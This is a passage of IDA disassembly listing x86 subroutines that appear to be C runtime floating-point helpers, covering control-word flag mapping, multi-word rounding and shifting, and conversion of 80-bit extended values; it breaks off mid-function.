arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 10h
		test	eax, eax
		jz	short loc_434C61
		mov	cx, [ebp+var_4]
		or	cl, 1
		mov	[ebp+var_4], cx


loc_434C61:				; CODE XREF: sub_434C40+14j
		mov	edx, [ebp+arg_0]
		and	edx, 8
		test	edx, edx
		jz	short loc_434C75
		mov	ax, [ebp+var_4]
		or	al, 4
		mov	[ebp+var_4], ax


loc_434C75:				; CODE XREF: sub_434C40+29j
		mov	ecx, [ebp+arg_0]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_434C8A
		mov	dx, [ebp+var_4]
		or	dl, 8
		mov	[ebp+var_4], dx


loc_434C8A:				; CODE XREF: sub_434C40+3Dj
		mov	eax, [ebp+arg_0]
		and	eax, 2
		test	eax, eax
		jz	short loc_434C9F
		mov	cx, [ebp+var_4]
		or	cl, 10h
		mov	[ebp+var_4], cx


loc_434C9F:				; CODE XREF: sub_434C40+52j
		mov	edx, [ebp+arg_0]
		and	edx, 1
		test	edx, edx
		jz	short loc_434CB3
		mov	ax, [ebp+var_4]
		or	al, 20h
		mov	[ebp+var_4], ax


loc_434CB3:				; CODE XREF: sub_434C40+67j
		mov	ecx, [ebp+arg_0]
		and	ecx, 80000h
		test	ecx, ecx
		jz	short loc_434CCB
		mov	dx, [ebp+var_4]
		or	dl, 2
		mov	[ebp+var_4], dx


loc_434CCB:				; CODE XREF: sub_434C40+7Ej
		mov	eax, [ebp+arg_0]
		and	eax, 300h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 200h
		ja	short loc_434CF9
		cmp	[ebp+var_8], 200h
		jz	short loc_434D0E
		cmp	[ebp+var_8], 0
		jz	short loc_434D04
		cmp	[ebp+var_8], 100h
		jz	short loc_434D1B
		jmp	short loc_434D33
; ---------------------------------------------------------------------------


loc_434CF9:				; CODE XREF: sub_434C40+9Dj
		cmp	[ebp+var_8], 300h
		jz	short loc_434D28
		jmp	short loc_434D33
; ---------------------------------------------------------------------------


loc_434D04:				; CODE XREF: sub_434C40+ACj
		mov	cx, [ebp+var_4]
		mov	[ebp+var_4], cx
		jmp	short loc_434D33
; ---------------------------------------------------------------------------


loc_434D0E:				; CODE XREF: sub_434C40+A6j
		mov	dx, [ebp+var_4]
		or	dh, 8
		mov	[ebp+var_4], dx
		jmp	short loc_434D33
; ---------------------------------------------------------------------------


loc_434D1B:				; CODE XREF: sub_434C40+B5j
		mov	ax, [ebp+var_4]
		or	ah, 4
		mov	[ebp+var_4], ax
		jmp	short loc_434D33
; ---------------------------------------------------------------------------


loc_434D28:				; CODE XREF: sub_434C40+C0j
		mov	cx, [ebp+var_4]
		or	ch, 0Ch
		mov	[ebp+var_4], cx


loc_434D33:				; CODE XREF: sub_434C40+B7j
					; sub_434C40+C2j ...
		mov	edx, [ebp+arg_0]
		and	edx, 30000h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jz	short loc_434D59
		cmp	[ebp+var_C], 10000h
		jz	short loc_434D66
		cmp	[ebp+var_C], 20000h
		jz	short loc_434D73
		jmp	short loc_434D7B
; ---------------------------------------------------------------------------


loc_434D59:				; CODE XREF: sub_434C40+103j
		mov	ax, [ebp+var_4]
		or	ah, 3
		mov	[ebp+var_4], ax
		jmp	short loc_434D7B
; ---------------------------------------------------------------------------


loc_434D66:				; CODE XREF: sub_434C40+10Cj
		mov	cx, [ebp+var_4]
		or	ch, 2
		mov	[ebp+var_4], cx
		jmp	short loc_434D7B
; ---------------------------------------------------------------------------


loc_434D73:				; CODE XREF: sub_434C40+115j
		mov	dx, [ebp+var_4]
		mov	[ebp+var_4], dx


loc_434D7B:				; CODE XREF: sub_434C40+117j
					; sub_434C40+124j ...
		mov	eax, [ebp+arg_0]
		and	eax, 40000h
		test	eax, eax
		jz	short loc_434D92
		mov	cx, [ebp+var_4]
		or	ch, 10h
		mov	[ebp+var_4], cx


loc_434D92:				; CODE XREF: sub_434C40+145j
		mov	ax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_434C40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434DA0	proc near		; CODE XREF: .XComp0:004349C0p
					; .XComp0:004349E1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1
		test	eax, eax
		jz	short loc_434DC3
		mov	ecx, [ebp+var_4]
		or	ecx, 10h
		mov	[ebp+var_4], ecx


loc_434DC3:				; CODE XREF: sub_434DA0+18j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 4
		test	edx, edx
		jz	short loc_434DDB
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_434DDB:				; CODE XREF: sub_434DA0+31j
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_434DF4
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx


loc_434DF4:				; CODE XREF: sub_434DA0+49j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jz	short loc_434E0C
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx


loc_434E0C:				; CODE XREF: sub_434DA0+61j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 20h
		test	edx, edx
		jz	short loc_434E24
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax


loc_434E24:				; CODE XREF: sub_434DA0+7Aj
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_434E40
		mov	edx, [ebp+var_4]
		or	edx, 80000h
		mov	[ebp+var_4], edx


loc_434E40:				; CODE XREF: sub_434DA0+92j
		mov	eax, [ebp+var_4]
		mov	esp, ebp


loc_434E45:				; DATA XREF: .XComp0:0045313Co
					; .XComp0:0045319Co
		pop	ebp
		retn
sub_434DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434E50	proc near		; CODE XREF: sub_434F90+70p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_434E74
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_434E74:				; CODE XREF: sub_434E50+1Dj
		mov	ecx, 1Fh
		sub	ecx, eax
		mov	[ebp+var_4], ecx
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		not	edx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		and	edx, [ebp+var_8]
		test	edx, edx
		jz	short loc_434E9F
		xor	eax, eax
		jmp	short loc_434ED0
; ---------------------------------------------------------------------------


loc_434E9F:				; CODE XREF: sub_434E50+49j
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_434EB3
; ---------------------------------------------------------------------------


loc_434EAA:				; CODE XREF: sub_434E50:loc_434EC9j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_434EB3:				; CODE XREF: sub_434E50+58j
		cmp	[ebp+var_C], 3
		jge	short loc_434ECB
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_434EC9
		xor	eax, eax
		jmp	short loc_434ED0
; ---------------------------------------------------------------------------


loc_434EC9:				; CODE XREF: sub_434E50+73j
		jmp	short loc_434EAA
; ---------------------------------------------------------------------------


loc_434ECB:				; CODE XREF: sub_434E50+67j
		mov	eax, 1


loc_434ED0:				; CODE XREF: sub_434E50+4Dj
					; sub_434E50+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_434E50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434EE0	proc near		; CODE XREF: sub_434F90+84p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_434F04
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_434F04:				; CODE XREF: sub_434EE0+1Dj
		mov	ecx, 1Fh
		sub	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, 1
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_438200
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_434F52
; ---------------------------------------------------------------------------


loc_434F49:				; CODE XREF: sub_434EE0+9Fj
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_434F52:				; CODE XREF: sub_434EE0+67j
		cmp	[ebp+var_C], 0
		jl	short loc_434F81
		cmp	[ebp+var_10], 0
		jz	short loc_434F81
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*4]
		push	edx
		push	1
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_438200
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		jmp	short loc_434F49
; ---------------------------------------------------------------------------


loc_434F81:				; CODE XREF: sub_434EE0+76j
					; sub_434EE0+7Cj
		mov	eax, [ebp+var_10]
		mov	esp, ebp
		pop	ebp
		retn
sub_434EE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434F90	proc near		; CODE XREF: sub_435220+ABp
					; sub_435220+132p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_18], 0
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_14], eax
		mov	edx, [ebp+var_C]
		and	edx, 8000001Fh
		jns	short loc_434FCE
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_434FCE:				; CODE XREF: sub_434F90+37j
		mov	eax, 1Fh
		sub	eax, edx
		mov	[ebp+var_8], eax
		mov	edx, 1
		mov	ecx, [ebp+var_8]
		shl	edx, cl
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		and	edx, [ebp+var_1C]
		test	edx, edx
		jz	short loc_43501F
		mov	eax, [ebp+var_C]
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_434E50
		add	esp, 8
		test	eax, eax
		jnz	short loc_43501F
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_434EE0
		add	esp, 8
		mov	[ebp+var_18], eax


loc_43501F:				; CODE XREF: sub_434F90+63j
					; sub_434F90+7Aj
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_8]
		shl	edx, cl
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4]
		and	eax, edx
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_43504F
; ---------------------------------------------------------------------------


loc_435046:				; CODE XREF: sub_434F90+D2j
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_43504F:				; CODE XREF: sub_434F90+B4j
		cmp	[ebp+var_10], 3
		jge	short loc_435064
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+edx*4], 0
		jmp	short loc_435046
; ---------------------------------------------------------------------------


loc_435064:				; CODE XREF: sub_434F90+C3j
		mov	eax, [ebp+var_18]
		mov	esp, ebp
		pop	ebp
		retn
sub_434F90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435070	proc near		; CODE XREF: sub_435220+98p
					; sub_435220+10Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], 0
		jmp	short loc_435094
; ---------------------------------------------------------------------------


loc_43508B:				; CODE XREF: sub_435070+46j
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_435094:				; CODE XREF: sub_435070+19j
		cmp	[ebp+var_C], 3
		jge	short loc_4350B8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	short loc_43508B
; ---------------------------------------------------------------------------


loc_4350B8:				; CODE XREF: sub_435070+28j
		mov	esp, ebp
		pop	ebp
		retn
sub_435070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4350C0	proc near		; CODE XREF: sub_435220+7Cp
					; sub_435220+D5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_4350D6
; ---------------------------------------------------------------------------


loc_4350CD:				; CODE XREF: sub_4350C0+29j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_4350D6:				; CODE XREF: sub_4350C0+Bj
		cmp	[ebp+var_4], 3
		jge	short loc_4350EB
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4], 0
		jmp	short loc_4350CD
; ---------------------------------------------------------------------------


loc_4350EB:				; CODE XREF: sub_4350C0+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4350C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4350F0	proc near		; CODE XREF: sub_435220+63p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_435106
; ---------------------------------------------------------------------------


loc_4350FD:				; CODE XREF: sub_4350F0:loc_43511Cj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_435106:				; CODE XREF: sub_4350F0+Bj
		cmp	[ebp+var_4], 3
		jge	short loc_43511E
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+ecx*4], 0
		jz	short loc_43511C
		xor	eax, eax
		jmp	short loc_435123
; ---------------------------------------------------------------------------


loc_43511C:				; CODE XREF: sub_4350F0+26j
		jmp	short loc_4350FD
; ---------------------------------------------------------------------------


loc_43511E:				; CODE XREF: sub_4350F0+1Aj
		mov	eax, 1


loc_435123:				; CODE XREF: sub_4350F0+2Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4350F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435130	proc near		; CODE XREF: sub_435220+11Fp
					; sub_435220+148p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_435155
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_435155:				; CODE XREF: sub_435130+1Ej
		mov	[ebp+var_4], eax
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		not	edx
		mov	[ebp+var_14], edx
		mov	[ebp+var_8], 0
		mov	[ebp+var_C], 0
		jmp	short loc_43517E
; ---------------------------------------------------------------------------


loc_435175:				; CODE XREF: sub_435130+9Fj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_43517E:				; CODE XREF: sub_435130+43j
		cmp	[ebp+var_C], 3
		jge	short loc_4351D1
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		and	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		mov	ecx, [ebp+var_4]
		shr	eax, cl
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		or	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4], edx
		mov	ecx, 20h
		sub	ecx, [ebp+var_4]
		mov	edx, [ebp+var_10]
		shl	edx, cl
		mov	[ebp+var_8], edx
		jmp	short loc_435175
; ---------------------------------------------------------------------------


loc_4351D1:				; CODE XREF: sub_435130+52j
		mov	[ebp+var_C], 2
		jmp	short loc_4351E3
; ---------------------------------------------------------------------------


loc_4351DA:				; CODE XREF: sub_435130:loc_435215j
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	[ebp+var_C], eax


loc_4351E3:				; CODE XREF: sub_435130+A8j
		cmp	[ebp+var_C], 0
		jl	short loc_435217
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_18]
		jl	short loc_435208
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax*4], edx
		jmp	short loc_435215
; ---------------------------------------------------------------------------


loc_435208:				; CODE XREF: sub_435130+BFj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4], 0


loc_435215:				; CODE XREF: sub_435130+D6j
		jmp	short loc_4351DA
; ---------------------------------------------------------------------------


loc_435217:				; CODE XREF: sub_435130+B7j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_435130	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435220	proc near		; CODE XREF: sub_435470+10p
					; sub_435490+10p

var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+0Ah]
		and	ecx, 7FFFh
		sub	ecx, 3FFFh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax


loc_435243:				; DATA XREF: .XComp0:00452D94o
					; .XComp0:004531F4o
		mov	ax, [edx+0Ah]
		and	eax, 8000h
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+6]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx]
		shl	eax, 10h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_4], 0FFFFC001h
		jnz	short loc_4352B0
		mov	[ebp+var_8], 0
		lea	ecx, [ebp+var_18]
		push	ecx
		call	sub_4350F0
		add	esp, 4
		test	eax, eax
		jz	short loc_435298
		mov	[ebp+var_1C], 0
		jmp	short loc_4352AB
; ---------------------------------------------------------------------------


loc_435298:				; CODE XREF: sub_435220+6Dj
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_4350C0
		add	esp, 4
		mov	[ebp+var_1C], 2


loc_4352AB:				; CODE XREF: sub_435220+76j
		jmp	loc_4353FC
; ---------------------------------------------------------------------------


loc_4352B0:				; CODE XREF: sub_435220+56j
		lea	eax, [ebp+var_18]
		push	eax
		lea	ecx, [ebp+var_30]
		push	ecx
		call	sub_435070
		add	esp, 8
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		push	eax
		lea	ecx, [ebp+var_18]
		push	ecx
		call	sub_434F90
		add	esp, 8
		test	eax, eax
		jz	short loc_4352E0
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_4352E0:				; CODE XREF: sub_435220+B5j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	edx, [eax+4]
		sub	edx, [ecx+8]
		cmp	[ebp+var_4], edx
		jge	short loc_435310
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4350C0
		add	esp, 4
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], 2
		jmp	loc_4353FC
; ---------------------------------------------------------------------------


loc_435310:				; CODE XREF: sub_435220+CFj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		cmp	edx, [ecx+4]
		jg	short loc_435380
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_4]
		mov	[ebp+var_34], ecx
		lea	edx, [ebp+var_30]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_435070
		add	esp, 8
		mov	ecx, [ebp+var_34]
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_435130


loc_435344:				; DATA XREF: .XComp0:00452E18o
					; .XComp0:0045327Co
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_434F90
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+0Ch]
		add	ecx, 1
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_435130
		add	esp, 8
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], 2
		jmp	short loc_4353FC
; ---------------------------------------------------------------------------


loc_435380:				; CODE XREF: sub_435220+F9j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jl	short loc_4353CB
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_4350C0
		add	esp, 4
		mov	eax, [ebp+var_18]
		or	eax, 80000000h
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_435130
		add	esp, 8
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_8]
		add	edx, [eax+14h]
		mov	[ebp+var_8], edx
		mov	[ebp+var_1C], 1
		jmp	short loc_4353FC
; ---------------------------------------------------------------------------


loc_4353CB:				; CODE XREF: sub_435220+168j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+14h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_18]
		and	eax, 7FFFFFFFh
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_435130
		add	esp, 8
		mov	[ebp+var_1C], 0


loc_4353FC:				; CODE XREF: sub_435220:loc_4352ABj
					; sub_435220+EBj ...
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		add	edx, 1
		mov	eax, 20h
		sub	eax, edx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		shl	edx, cl
		mov	eax, [ebp+var_18]
		or	eax, edx
		mov	ecx, [ebp+var_20]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	eax, ecx
		mov	[ebp+var_24], eax
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx+10h], 40h
		jnz	short loc_43544A
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_14]
		mov	[edx], eax
		jmp	short loc_43545B
; ---------------------------------------------------------------------------


loc_43544A:				; CODE XREF: sub_435220+215j
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+10h], 20h
		jnz	short loc_43545B
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_24]
		mov	[edx], eax


loc_43545B:				; CODE XREF: sub_435220+228j
					; sub_435220+231j
		mov	eax, [ebp+var_1C]
		mov	esp, ebp
		pop	ebp
		retn
sub_435220	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435470	proc near		; CODE XREF: sub_435570+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_452B68
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_435220
		add	esp, 0Ch
		pop	ebp
		retn
sub_435470	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435490	proc near		; CODE XREF: sub_4355F0+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_452B80
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_435220
		add	esp, 0Ch
		pop	ebp
		retn
sub_435490	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4354B0	proc near		; CODE XREF: .XComp0:004355DAp
					; .XComp0:0043905Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_14], 0
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+0Ah]
		and	ecx, 7FFFh
		mov	word ptr [ebp+var_4], cx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+0Ah]
		and	eax, 8000h
		mov	word ptr [ebp+var_18], ax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+6]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx]
		shl	eax, 10h
		mov	[ebp+var_8], eax
		push	40h
		lea	ecx, [ebp+var_10]
		push	ecx
		call	sub_434F90
		add	esp, 8
		test	eax, eax
		jz	short loc_435527
		mov	[ebp+var_10], 80000000h
		mov	dx, word ptr [ebp+var_4]
		add	dx, 1
		mov	word ptr [ebp+var_4], dx


